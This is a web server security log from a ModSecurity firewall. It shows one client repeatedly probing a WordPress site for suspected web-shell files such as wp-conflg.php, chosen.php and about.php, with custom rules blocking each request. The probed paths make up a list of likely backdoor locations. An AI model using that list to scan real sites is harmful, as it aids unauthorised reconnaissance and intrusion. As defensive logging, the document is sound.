[Tue Nov 25 20:58:21.973894 2025] [:error] [pid 43981:tid 43998] [client 4.206.153.235:56258] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/"] [unique_id "aSWn7QgZn97m_qh_RaFZNwAAAw8"]
[Tue Nov 25 20:58:22.436499 2025] [:error] [pid 14078:tid 14147] [client 4.206.153.235:56257] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/"] [unique_id "aSWn7tVXYbb0ii_rVoJlsQAAAIo"]
[Tue Nov 25 20:58:22.952616 2025] [:error] [pid 28609:tid 28627] [client 4.206.153.235:56278] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/"] [unique_id "aSWn7iGGdT-nZJVs3x3cswAAAYk"]
[Tue Nov 25 20:58:23.428181 2025] [:error] [pid 14076:tid 14103] [client 4.206.153.235:56193] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/autoload_classmap.php"] [unique_id "aSWn73sB4Gz6Qw-pvBswJwAAABY"]
[Tue Nov 25 20:58:23.864986 2025] [:error] [pid 14078:tid 14150] [client 4.206.153.235:56310] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/autoload_classmap.php"] [unique_id "aSWn79VXYbb0ii_rVoJltgAAAI0"]
[Tue Nov 25 20:58:24.547223 2025] [:error] [pid 14076:tid 14095] [client 4.206.153.235:63592] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/autoload_classmap.php"] [unique_id "aSWn8HsB4Gz6Qw-pvBswKQAAAA4"]
[Tue Nov 25 20:58:25.067599 2025] [:error] [pid 14168:tid 14187] [client 4.206.153.235:56262] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/autoload_classmap.php"] [unique_id "aSWn8fR-ZDU0QEgAIIt_owAAANA"]
[Tue Nov 25 20:58:25.583921 2025] [:error] [pid 14168:tid 14177] [client 4.206.153.235:56273] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/"] [unique_id "aSWn8fR-ZDU0QEgAIIt_pwAAAMY"]
[Tue Nov 25 20:58:26.049437 2025] [:error] [pid 14168:tid 14180] [client 4.206.153.235:56317] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/"] [unique_id "aSWn8vR-ZDU0QEgAIIt_qQAAAMk"]
[Tue Nov 25 20:58:26.463709 2025] [:error] [pid 14168:tid 14183] [client 4.206.153.235:59407] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/"] [unique_id "aSWn8vR-ZDU0QEgAIIt_qwAAAMw"]
[Tue Nov 25 20:58:26.958473 2025] [:error] [pid 2987:tid 2999] [client 4.206.153.235:56305] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/"] [unique_id "aSWn8s-djEt-pTzPxny9AwAAAUo"]
[Tue Nov 25 20:58:27.370145 2025] [:error] [pid 14076:tid 14090] [client 4.206.153.235:56319] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade-temp-backup/about.php"] [unique_id "aSWn83sB4Gz6Qw-pvBswLAAAAAk"]
[Tue Nov 25 20:58:27.805955 2025] [:error] [pid 14077:tid 14119] [client 4.206.153.235:63552] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade-temp-backup/about.php"] [unique_id "aSWn8xG9n7UHEkwDTyi83AAAAEk"]
[Tue Nov 25 20:58:28.218894 2025] [:error] [pid 14077:tid 14134] [client 4.206.153.235:59454] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade-temp-backup/about.php"] [unique_id "aSWn9BG9n7UHEkwDTyi83gAAAFg"]
[Tue Nov 25 20:58:28.662082 2025] [:error] [pid 14077:tid 14118] [client 4.206.153.235:56306] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade-temp-backup/about.php"] [unique_id "aSWn9BG9n7UHEkwDTyi84QAAAEg"]
[Tue Nov 25 20:58:29.078478 2025] [:error] [pid 14168:tid 14171] [client 4.206.153.235:59512] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2024/index.php"] [unique_id "aSWn9fR-ZDU0QEgAIIt_vQAAAMA"]
[Tue Nov 25 20:58:29.545633 2025] [:error] [pid 14168:tid 14175] [client 4.206.153.235:59425] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2024/index.php"] [unique_id "aSWn9fR-ZDU0QEgAIIt_vgAAAMQ"]
[Tue Nov 25 20:58:29.958697 2025] [:error] [pid 14077:tid 14129] [client 4.206.153.235:59396] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2024/index.php"] [unique_id "aSWn9RG9n7UHEkwDTyi86gAAAFM"]
[Tue Nov 25 20:58:30.381979 2025] [:error] [pid 14077:tid 14131] [client 4.206.153.235:59470] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2024/index.php"] [unique_id "aSWn9hG9n7UHEkwDTyi87AAAAFU"]
[Tue Nov 25 20:58:30.793360 2025] [:error] [pid 14077:tid 14112] [client 4.206.153.235:63571] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/chosen.php"] [unique_id "aSWn9hG9n7UHEkwDTyi87QAAAEI"]
[Tue Nov 25 20:58:31.210300 2025] [:error] [pid 14076:tid 14089] [client 4.206.153.235:63488] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/chosen.php"] [unique_id "aSWn93sB4Gz6Qw-pvBswNAAAAAg"]
[Tue Nov 25 20:58:31.663900 2025] [:error] [pid 28836:tid 28956] [client 4.206.153.235:59422] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/chosen.php"] [unique_id "aSWn95wNRsoxcLQGkTfbBAAAAsE"]
[Tue Nov 25 20:58:32.094610 2025] [:error] [pid 43843:tid 43858] [client 4.206.153.235:56315] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/chosen.php"] [unique_id "aSWn-Bhx4v3NUNdMKDPpOQAAAc0"]
[Tue Nov 25 20:58:32.518380 2025] [:error] [pid 14077:tid 14123] [client 4.206.153.235:63613] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/images/class-config.php"] [unique_id "aSWn-BG9n7UHEkwDTyi87gAAAE0"]
[Tue Nov 25 20:58:32.931990 2025] [:error] [pid 14077:tid 14134] [client 4.206.153.235:63547] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/images/class-config.php"] [unique_id "aSWn-BG9n7UHEkwDTyi88AAAAFg"]
[Tue Nov 25 20:58:33.344487 2025] [:error] [pid 43843:tid 43861] [client 4.206.153.235:63511] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/images/class-config.php"] [unique_id "aSWn-Rhx4v3NUNdMKDPpOgAAAdA"]
[Tue Nov 25 20:58:33.756820 2025] [:error] [pid 43843:tid 43859] [client 4.206.153.235:56282] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/images/class-config.php"] [unique_id "aSWn-Rhx4v3NUNdMKDPpOwAAAc4"]
[Tue Nov 25 20:58:34.172871 2025] [:error] [pid 2987:tid 3002] [client 4.206.153.235:56298] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aSWn-s-djEt-pTzPxny9DAAAAU0"]
[Tue Nov 25 20:58:34.584958 2025] [:error] [pid 28836:tid 28959] [client 4.206.153.235:59399] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aSWn-pwNRsoxcLQGkTfbFQAAAsQ"]
[Tue Nov 25 20:58:34.999393 2025] [:error] [pid 14078:tid 14147] [client 4.206.153.235:63538] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aSWn-tVXYbb0ii_rVoJlvAAAAIo"]
[Tue Nov 25 20:58:35.413825 2025] [:error] [pid 14077:tid 14120] [client 4.206.153.235:59419] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aSWn-xG9n7UHEkwDTyi89QAAAEo"]
[Tue Nov 25 20:58:35.828367 2025] [:error] [pid 28739:tid 28782] [client 4.206.153.235:59469] [client 4.206.153.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aSWn-xxGpKmlkG4FexSVrAAAAhQ"]
[Tue Nov 25 20:58:36.241272 2025] [:error] [pid 14078:tid 14149] [client 4.206.153.235:59428] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/"] [unique_id "aSWn_NVXYbb0ii_rVoJlwgAAAIw"]
[Tue Nov 25 20:58:36.676026 2025] [:error] [pid 43843:tid 43849] [client 4.206.153.235:56234] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/"] [unique_id "aSWn_Bhx4v3NUNdMKDPpPgAAAcQ"]
[Tue Nov 25 20:58:37.135149 2025] [:error] [pid 28739:tid 28775] [client 4.206.153.235:56206] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/"] [unique_id "aSWn_RxGpKmlkG4FexSVsgAAAg0"]
[Tue Nov 25 20:58:37.546528 2025] [:error] [pid 2987:tid 3006] [client 4.206.153.235:59402] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/compat3x/css/"] [unique_id "aSWn_c-djEt-pTzPxny9DQAAAVE"]
[Tue Nov 25 20:58:37.994236 2025] [:error] [pid 28739:tid 28769] [client 4.206.153.235:59452] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/compat3x/css/"] [unique_id "aSWn_RxGpKmlkG4FexSVtQAAAgc"]
[Tue Nov 25 20:58:38.406446 2025] [:error] [pid 28739:tid 28767] [client 4.206.153.235:59444] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/compat3x/css/"] [unique_id "aSWn_hxGpKmlkG4FexSVtgAAAgU"]
[Tue Nov 25 20:58:38.820867 2025] [:error] [pid 28739:tid 28782] [client 4.206.153.235:59432] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/compat3x/css/"] [unique_id "aSWn_hxGpKmlkG4FexSVuQAAAhQ"]
[Tue Nov 25 20:58:39.235840 2025] [:error] [pid 43843:tid 43869] [client 4.206.153.235:59478] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSWn_xhx4v3NUNdMKDPpQQAAAdg"]
[Tue Nov 25 20:58:39.650086 2025] [:error] [pid 28739:tid 28771] [client 4.206.153.235:63605] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSWn_xxGpKmlkG4FexSVwAAAAgk"]
[Tue Nov 25 20:58:40.091276 2025] [:error] [pid 43981:tid 43984] [client 4.206.153.235:56203] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSWoAAgZn97m_qh_RaFZUgAAAwE"]
[Tue Nov 25 20:58:40.502529 2025] [:error] [pid 43843:tid 43852] [client 4.206.153.235:63502] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSWoABhx4v3NUNdMKDPpUQAAAcc"]
[Tue Nov 25 20:58:40.933350 2025] [:error] [pid 14076:tid 14103] [client 4.206.153.235:56194] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade/"] [unique_id "aSWoAHsB4Gz6Qw-pvBswUAAAABY"]
[Tue Nov 25 20:58:41.352362 2025] [:error] [pid 14077:tid 14134] [client 4.206.153.235:56261] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade/"] [unique_id "aSWoARG9n7UHEkwDTyi8-gAAAFg"]
[Tue Nov 25 20:58:41.770594 2025] [:error] [pid 43981:tid 44001] [client 4.206.153.235:63570] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade/"] [unique_id "aSWoAQgZn97m_qh_RaFZXgAAAxI"]
[Tue Nov 25 20:58:42.187014 2025] [:error] [pid 14078:tid 14147] [client 4.206.153.235:59412] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade/"] [unique_id "aSWoAtVXYbb0ii_rVoJlxgAAAIo"]
[Tue Nov 25 20:58:42.600961 2025] [:error] [pid 14077:tid 14133] [client 4.206.153.235:56237] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2022/"] [unique_id "aSWoAhG9n7UHEkwDTyi8-wAAAFc"]
[Tue Nov 25 20:58:43.028904 2025] [:error] [pid 28609:tid 28626] [client 4.206.153.235:59410] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2022/"] [unique_id "aSWoAyGGdT-nZJVs3x3czQAAAYg"]
[Tue Nov 25 20:58:43.457376 2025] [:error] [pid 14077:tid 14118] [client 4.206.153.235:63579] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2022/"] [unique_id "aSWoAxG9n7UHEkwDTyi8_AAAAEg"]
[Tue Nov 25 20:58:43.871869 2025] [:error] [pid 43981:tid 43999] [client 4.206.153.235:59441] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2022/"] [unique_id "aSWoAwgZn97m_qh_RaFZYAAAAxA"]
[Tue Nov 25 20:58:44.284139 2025] [:error] [pid 14078:tid 14152] [client 4.206.153.235:59493] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/"] [unique_id "aSWoBNVXYbb0ii_rVoJlywAAAI8"]
[Tue Nov 25 20:58:44.697015 2025] [:error] [pid 28739:tid 28784] [client 4.206.153.235:59448] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/"] [unique_id "aSWoBBxGpKmlkG4FexSVyQAAAhY"]
[Tue Nov 25 20:58:45.148748 2025] [:error] [pid 2987:tid 3001] [client 4.206.153.235:56241] [client 4.206.153.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/"] [unique_id "aSWoBc-djEt-pTzPxny9EwAAAUw"]
